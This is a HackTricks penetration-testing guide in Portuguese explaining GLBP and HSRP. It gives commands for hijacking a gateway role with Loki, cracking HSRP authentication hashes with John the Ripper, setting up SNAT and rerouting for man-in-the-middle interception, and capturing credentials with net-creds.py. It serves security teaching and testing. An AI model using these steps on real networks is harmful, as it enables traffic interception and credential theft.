hacktricks/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md

8.8 KiB

Ataques GLBP & HSRP

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Visão Geral do Sequestro FHRP

Compreendendo FHRP

O Protocolo de Redundância do Primeiro Salto (FHRP) é um conjunto de protocolos que garante a resiliência da rede combinando vários roteadores físicos em uma única entidade virtual. Isso melhora a distribuição de carga e a tolerância a falhas. A Cisco Systems introduziu dois protocolos FHRP notáveis: GLBP e HSRP.

Detalhes do Protocolo GLBP

Desenvolvido pela Cisco, o GLBP (Protocolo de Balanceamento de Carga de Gateway) opera sobre a pilha TCP/IP, usando UDP na porta 3222 para comunicação. Roteadores dentro de um grupo GLBP enviam pacotes "hello" a cada 3 segundos. A ausência desses pacotes por 10 segundos de um roteador indica sua falha. No entanto, essas configurações de temporizador são ajustáveis.

Operação e Balanceamento de Carga do GLBP

O GLBP permite o compartilhamento de carga entre vários roteadores usando um único IP virtual e vários endereços MAC virtuais. Cada roteador no grupo participa do encaminhamento de pacotes. O GLBP difere do HSRP/VRRP ao oferecer um verdadeiro balanceamento de carga, que inclui:

  • Dependente do Host: Garante que um host receba o mesmo endereço MAC AVF, preservando as configurações NAT.
  • Round-Robin: O modo padrão onde os endereços MAC AVF são distribuídos alternadamente.
  • Round-Robin Baseado em Peso: Equilibra a carga com base em uma métrica de "Peso" predefinida.

Funções e Terminologia do Domínio GLBP

  • AVG (Gateway Virtual Ativo): O roteador principal, distribuindo endereços MAC para outros roteadores.
  • AVF (Encaminhador Virtual Ativo): Um roteador que lida com o tráfego de rede.
  • Prioridade GLBP: Decide o AVG, com um padrão de 100 e uma faixa de 1 a 255.
  • Peso GLBP: Indica o nível de carga do roteador, ajustável manualmente ou via Rastreamento de Objetos.
  • Endereço IP Virtual GLBP: Age como o gateway padrão para dispositivos conectados.

Para comunicação, o GLBP usa o endereço multicast reservado 224.0.0.102 e a porta UDP 3222. Pacotes "hello" são enviados a cada 3 segundos, e os roteadores são marcados como "mortos" se um pacote não for recebido dentro de 10 segundos.

Mecanismo de Ataque GLBP

Um atacante pode se tornar o roteador principal enviando um pacote GLBP com o valor de prioridade mais alto (255). Isso pode levar a ataques de DoS ou MITM, permitindo a interceptação ou redirecionamento de tráfego.

Executando um Ataque GLBP com Loki

Loki pode realizar um ataque GLBP injetando um pacote com prioridade e peso definidos como 255. As etapas pré-ataque envolvem a coleta de informações como o endereço IP virtual, presença de autenticação e valores de prioridade do roteador usando ferramentas como Wireshark.

Passos do Ataque:

  1. Alterar para o modo promíscuo e ativar o encaminhamento IP.
  2. Identificar o roteador alvo e recuperar seu IP.
  3. Gerar um ARP Gratuito.
  4. Injetar um pacote GLBP malicioso, se passando pelo AVG.
  5. Atribuir um endereço IP secundário à interface de rede do atacante, espelhando o IP virtual do GLBP.
  6. Implementar SNAT para visibilidade total do tráfego.
  7. Ajustar o roteamento para garantir o acesso contínuo à internet através do roteador AVG original.

Seguindo esses passos, o atacante se posiciona como um "homem no meio", capaz de interceptar e analisar o tráfego de rede, incluindo dados não criptografados ou sensíveis.

Para demonstração, aqui estão os trechos de comando necessários:

# Enable promiscuous mode and IP forwarding
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1

# Configure secondary IP and SNAT
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# Adjust routing
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100

Explicação Passiva do Sequestro de HSRP com Detalhes de Comando

Visão Geral do HSRP (Protocolo de Redundância/Roteador em Espera)

HSRP é um protocolo proprietário da Cisco projetado para redundância de gateway de rede. Ele permite a configuração de vários roteadores físicos em uma unidade lógica única com um endereço IP compartilhado. Essa unidade lógica é gerenciada por um roteador primário responsável por direcionar o tráfego. Ao contrário do GLBP, que usa métricas como prioridade e peso para balanceamento de carga, o HSRP depende de um único roteador ativo para o gerenciamento de tráfego.

Funções e Terminologia no HSRP

  • Roteador Ativo do HSRP: O dispositivo que atua como gateway, gerenciando o fluxo de tráfego.
  • Roteador em Espera do HSRP: Um roteador de backup, pronto para assumir se o roteador ativo falhar.
  • Grupo HSRP: Um conjunto de roteadores colaborando para formar um único roteador virtual resiliente.
  • Endereço MAC do HSRP: Um endereço MAC virtual atribuído ao roteador lógico na configuração do HSRP.
  • Endereço IP Virtual do HSRP: O endereço IP virtual do grupo HSRP, atuando como gateway padrão para dispositivos conectados.

Versões do HSRP

O HSRP possui duas versões, HSRPv1 e HSRPv2, diferindo principalmente em capacidade de grupo, uso de IP multicast e estrutura de endereço MAC virtual. O protocolo utiliza endereços IP multicast específicos para a troca de informações de serviço, com pacotes Hello enviados a cada 3 segundos. Um roteador é considerado inativo se nenhum pacote for recebido dentro de um intervalo de 10 segundos.

Mecanismo de Ataque do HSRP

Os ataques do HSRP envolvem assumir à força o papel do Roteador Ativo injetando um valor de prioridade máximo. Isso pode levar a um ataque de Homem-no-Meio (MITM). Etapas essenciais pré-ataque incluem coletar dados sobre a configuração do HSRP, o que pode ser feito usando o Wireshark para análise de tráfego.

Etapas para Bypassing da Autenticação do HSRP

  1. Salve o tráfego de rede contendo dados do HSRP como um arquivo .pcap.
tcpdump -w hsrp_traffic.pcap
  1. Extraia hashes MD5 do arquivo .pcap usando hsrp2john.py.
python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes
  1. Quebre os hashes MD5 usando o John the Ripper.
john --wordlist=mywordlist.txt hsrp_hashes

Executando a Injeção de HSRP com Loki

  1. Inicie o Loki para identificar anúncios do HSRP.
  2. Defina a interface de rede para o modo promíscuo e ative o encaminhamento de IP.
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1
  1. Use o Loki para mirar o roteador específico, insira a senha do HSRP quebrada e faça as configurações necessárias para se passar pelo Roteador Ativo.
  2. Após obter o papel de Roteador Ativo, configure sua interface de rede e tabelas de IP para interceptar o tráfego legítimo.
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
  1. Modifique a tabela de roteamento para rotear o tráfego através do antigo Roteador Ativo.
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
  1. Use net-creds.py ou uma ferramenta similar para capturar credenciais do tráfego interceptado.
sudo python2 net-creds.py -i eth0

Executar essas etapas coloca o atacante em uma posição para interceptar e manipular o tráfego, semelhante ao procedimento para o sequestro de GLBP. Isso destaca a vulnerabilidade em protocolos de redundância como o HSRP e a necessidade de medidas de segurança robustas.

Referências